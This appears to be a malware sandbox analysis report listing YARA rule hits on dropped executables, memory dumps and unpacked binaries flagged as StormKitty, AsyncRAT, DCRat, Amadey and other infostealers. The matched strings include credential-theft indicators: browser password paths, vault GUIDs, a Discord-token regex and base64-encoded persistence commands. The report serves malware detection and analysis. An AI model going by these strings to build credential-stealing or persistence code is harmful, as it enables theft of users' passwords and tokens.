C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x27dff3:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.*?)"
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c15:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x2927e8:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x287c53:$str12: Target.Browsers.Firefox 0x26f3ce:$str13: Modules.Keylogger 0x277291:$str14: ClipperAddresses 0x279436:$str15: ChromiumPswPaths 0x279448:$str15: ChromiumPswPaths 0x27538b:$str16: DetectedBankingServices 0x2754f4:$str17: DetectCryptocurrencyServices 0x2833ed:$str18: CheckRemoteDebuggerPresent 0x284372:$str19: GetConnectedCamerasCount
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x25fe83:$str03: set_sExpMonth 0x27523e:$str04: WritePasswords 0x275cf8:$str05: WriteCookies 0x279447:$str06: sChromiumPswPaths 0x279422:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.*?)"
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x29b830:$str05: Perfor_mance 0x29b874:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x25c3c9:$str08: get_ActivatePo_ng 0x270304:$str09: isVM_by_wim_temper 0x29c122:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x29b410:$str12: ProcessHacker.exe 0x29b602:$str13: Select * from Win32_CacheMemory
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b602:$q1: Select * from Win32_CacheMemory 0x29b642:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b690:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b6de:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x27dff3:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.*?)"
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c15:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x38f536:$f1: FileZilla\recentservers.xml 0x38f4f2:$f2: FileZilla\sitemanager.xml 0x3b9a1c:$b1: Chrome\User Data\ 0x3c04c0:$b1: Chrome\User Data\ 0x3c0fdc:$b1: Chrome\User Data\ 0x3a0c9c:$b2: Mozilla\Firefox\Profiles 0x3b4954:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3df72c:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3b333e:$b4: Opera Software\Opera Stable\Login Data 0x3b9aec:$b5: YandexBrowser\User Data\ 0x3d23a6:$s5: account.cfn 0x3b281c:$s6: wand.dat 0x3b22d0:$a1: username_value 0x3b8890:$a1: username_value 0x3b8b60:$a1: username_value 0x3bb014:$a1: username_value 0x3b22fc:$a2: password_value 0x3b88e8:$a2: password_value 0x3b8bb8:$a2: password_value 0x3bb06c:$a2: password_value 0x3bc110:$a3: encryptedUsername
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x38f536:$f1: FileZilla\recentservers.xml 0x38f4f2:$f2: FileZilla\sitemanager.xml 0x3b9a1c:$b1: Chrome\User Data\ 0x3c04c0:$b1: Chrome\User Data\ 0x3c0fdc:$b1: Chrome\User Data\ 0x3a0c9c:$b2: Mozilla\Firefox\Profiles 0x3b4954:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3df72c:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3b333e:$b4: Opera Software\Opera Stable\Login Data 0x3b9aec:$b5: YandexBrowser\User Data\ 0x3d23a6:$s5: account.cfn 0x3b281c:$s6: wand.dat 0x3b22d0:$a1: username_value 0x3b8890:$a1: username_value 0x3b8b60:$a1: username_value 0x3bb014:$a1: username_value 0x3b22fc:$a2: password_value 0x3b88e8:$a2: password_value 0x3b8bb8:$a2: password_value 0x3bb06c:$a2: password_value 0x3bc110:$a3: encryptedUsername
Click to see the 41 entries

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000000.2304347901.0000000000732000.00000002.00000001.01000000.0000000F.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000005.00000003.1784664743.0000000004900000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.2533590954.0000000002AE9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
0000002F.00000002.2628746335.0000000000D21000.00000040.00000001.01000000.00000014.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.2646654757.0000000003468000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000003.00000002.1467265069.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.2646654757.00000000036A6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1384059485.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002F.00000003.2549630629.0000000005470000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1423188954.00000000055A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1463848187.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1424431616.00000000004E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.2330743352.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
00000003.00000003.1426197398.0000000005610000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241208:$a1: havecamera 0x28c032:$a2: timeout 3 > NUL 0x28f3b5:$a3: START "" " 0x28f8ca:$a3: START "" " 0x28f7a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28f842:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293606:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28b8a2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287a15:$s6: VirtualBox 0x297595:$s6: VirtualBox 0x292fb2:$s8: Win32_ComputerSystem 0x2974fb:$s8: Win32_ComputerSystem 0x2900de:$s9: Win32_Process Where ParentProcessID= 0x28fcfb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28fd98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28fead:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28ff95:$cnc4: POST / HTTP/1.1
0000000D.00000000.2260521974.0000000000419000.00000020.00000001.01000000.0000000E.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000000.2260521974.0000000000419000.00000020.00000001.01000000.0000000E.sdmp	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
Process Memory Space: usPaQ3D.exe PID: 1552	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: usPaQ3D.exe PID: 1552	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
Process Memory Space: usPaQ3D.exe PID: 1552	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: usPaQ3D.exe PID: 1552	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: usPaQ3D.exe PID: 1552	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: usPaQ3D.exe PID: 1552	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
Process Memory Space: usPaQ3D.exe PID: 1552	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x10014b:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: usPaQ3D.exe PID: 1552	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xa3f00:$s6: VirtualBox 0xe35b:$s8: Win32_ComputerSystem 0x112c4:$s8: Win32_ComputerSystem 0x2382b:$s8: Win32_ComputerSystem 0x23840:$s8: Win32_ComputerSystem 0xffe21:$s8: Win32_ComputerSystem 0x10203e:$s8: Win32_ComputerSystem 0x12d061:$s8: Win32_ComputerSystem 0x12d80e:$s8: Win32_ComputerSystem 0x12d8ed:$s8: Win32_ComputerSystem 0x12ed94:$s8: Win32_ComputerSystem 0x138e45:$s8: Win32_ComputerSystem 0x138f0c:$s8: Win32_ComputerSystem 0xfe777:$s9: Win32_Process Where ParentProcessID= 0xfe58a:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xfe5d8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xfe662:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xfe6d6:$cnc4: POST / HTTP/1.1
Process Memory Space: oldVNC.exe PID: 7488	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: oldVNC.exe PID: 7488	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
Process Memory Space: HNsLLEj.exe PID: 7544	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
Process Memory Space: HNsLLEj.exe PID: 7596	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
Process Memory Space: bKIFsVe.exe PID: 7736	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: fe4d890d0f.exe PID: 7860	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
Click to see the 37 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
15.2.HNsLLEj.exe.2ae9eb0.0.raw.unpack	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
15.0.HNsLLEj.exe.730000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.HNsLLEj.exe.400000.0.raw.unpack	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
28.0.5f6d06eefa.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
23.2.5f6d06eefa.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
17.2.HNsLLEj.exe.400000.0.unpack	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
15.2.HNsLLEj.exe.3ae9550.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
28.2.5f6d06eefa.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
15.2.HNsLLEj.exe.3ae9550.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
47.2.b2ee16741f.exe.d20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.0.5f6d06eefa.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
1.2.UWYXurYZ2x.exe.4e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.HNsLLEj.exe.2ae9eb0.0.unpack	JoeSecurity_PovertyStealer	Yara detected Poverty Stealer	Joe Security
5.2.skotes.exe.ee0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.ee0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.ee0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.0.usPaQ3D.exe.d10000.0.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
11.0.usPaQ3D.exe.d10000.0.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
11.0.usPaQ3D.exe.d10000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.0.usPaQ3D.exe.d10000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
11.0.usPaQ3D.exe.d10000.0.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
11.0.usPaQ3D.exe.d10000.0.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
11.0.usPaQ3D.exe.d10000.0.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
11.0.usPaQ3D.exe.d10000.0.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x2927e8:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x287c53:$str12: Target.Browsers.Firefox 0x26f3ce:$str13: Modules.Keylogger 0x277291:$str14: ClipperAddresses 0x279436:$str15: ChromiumPswPaths 0x279448:$str15: ChromiumPswPaths 0x27538b:$str16: DetectedBankingServices 0x2754f4:$str17: DetectCryptocurrencyServices 0x2833ed:$str18: CheckRemoteDebuggerPresent 0x284372:$str19: GetConnectedCamerasCount
11.0.usPaQ3D.exe.d10000.0.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x25fe83:$str03: set_sExpMonth 0x27523e:$str04: WritePasswords 0x275cf8:$str05: WriteCookies 0x279447:$str06: sChromiumPswPaths 0x279422:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.*?)"
11.0.usPaQ3D.exe.d10000.0.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x29b830:$str05: Perfor_mance 0x29b874:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x25c3c9:$str08: get_ActivatePo_ng 0x270304:$str09: isVM_by_wim_temper 0x29c122:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x29b410:$str12: ProcessHacker.exe 0x29b602:$str13: Select * from Win32_CacheMemory
11.0.usPaQ3D.exe.d10000.0.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2
11.0.usPaQ3D.exe.d10000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b602:$q1: Select * from Win32_CacheMemory 0x29b642:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b690:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b6de:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
11.0.usPaQ3D.exe.d10000.0.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
11.0.usPaQ3D.exe.d10000.0.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN
11.0.usPaQ3D.exe.d10000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
